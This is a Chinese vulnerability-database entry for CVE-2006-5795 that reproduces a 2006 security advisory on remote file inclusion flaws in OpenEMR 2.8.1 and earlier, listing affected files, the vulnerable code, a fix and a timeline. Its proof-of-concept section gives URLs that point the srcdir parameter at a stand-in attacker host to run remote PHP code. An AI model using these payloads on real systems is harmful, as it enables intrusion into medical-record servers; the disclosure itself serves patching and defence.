OpenEMR 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111479 漏洞类型 未知
发布时间 2006-11-06 更新时间 2006-11-08
CVE编号 CVE-2006-5795 CNNVD-ID CNNVD-200611-139
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2727
https://www.securityfocus.com/bid/87412
https://cxsecurity.com/issue/WLB-2006110037
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-139
|漏洞详情
OpenEMR存在多个PHP远程文件包含漏洞,当系统启用register_globals时,远程攻击者可通过传给在interface/billing/内的(a)billing_process.php,(b)billing_report.php,(c)billing_report_xml.php和(d)print_billing_report.php;(e)login.php;(f)interface/batchcom/batchcom.php;(g)interface/login/login.php;(h)main_info.php和(i)main.phpininterface/main/;(j)interface/new/new_patient_save.php;(k)interface/practice/ins_search.php;(l)interface/logout.php;在interface/reports内的(m)custom_report_range.php,(n)players_report.php和(o)front_receipts_report.php;在interface/usergroup内的(p)facility_admin.php,(q)usergroup_admin.php和(r)user_info.php;或(s)custom/import_xml.php的srcdir参数来执行任意PHP代码。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_60$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_60$2006] OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv60-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: OpenEMR
version		: <=2.8.1
URL		: http://www.oemr.org

OpenEMR is Open Source electronic medical record and medical practice management software. 
OpenEMR is best described as a "system" of programs. The main OpenEMR program consists of the electronic
health records and scheduling software. 
OpenEMR can also be configured for insurance billing with FreeB, accounting with SQL-Ledger,
and access controls with php-GACL.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in interface/billing/billing_process.php
-----------------------interface/billing/billing_process.php-------------
....
<?
...
include_once("$srcdir/patient.inc");
include_once("$srcdir/billrep.inc");
...
----------------------------------------------------------

Input passed to the "$srcdir" parameter in billing_process.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Also affected files :

interface/billing/billing_report.php
interface/billing/billing_report_xml.php
interface/billing/print_billing_report.php
login.php
interface/batchcom/batchcom.php
interface/login/login.php
interface/main/main_info.php
interface/main/main.php
interface/new/new_patient_save.php
interface/practice/ins_search.php
interface/logout.php
interface/reports/custom_report_range.php
interface/reports/players_report.php
interface/reports/front_receipts_report.php
interface/usergroup/facility_admin.php
interface/usergroup/usergroup_admin.php
interface/usergroup/user_info.php
interface/usergroup/facility_admin.php
interface/usergroup/facility_admin.php
custom/import_xml.php

New Vulnerability in OpenEMR Version 2.8.1
----library/translation.inc.php----
<?
....
include_once($GLOBALS['srcdir'] . '/sql.inc');
....
?>

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?srcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[srcdir]=http://atacker.com/inject.txt?



Solution:
~~~~~~~

- Sanitize variable $srcdir affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-06]
|受影响的产品
Openemr Openemr 2.8.1
|参考资料

来源:XF
名称:openemr-srcdir-file-include(30036)
链接:http://xforce.iss.net/xforce/xfdb/30036
来源:BUGTRAQ
名称:20061106[ECHO_ADV_60_2006]OpenEMR<=2.8.1MultipleRemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/450698/100/0/threaded
来源:MILW0RM
名称:2727
链接:http://www.milw0rm.com/exploits/2727
来源:VUPEN
名称:ADV-2006-4382
链接:http://www.frsirt.com/english/advisories/2006/4382
来源:SECUNIA
名称:22695
链接:http://secunia.com/advisories/22695
来源:MISC
链接:http://advisories.echo.or.id/adv/adv60-theday-2006.txt
来源:SREASON
名称:1834
链接:http://securityreason.com/securityalert/1834
来源:MILW0RM
名称:2727
链接:http://milw0rm.com/exploits/2727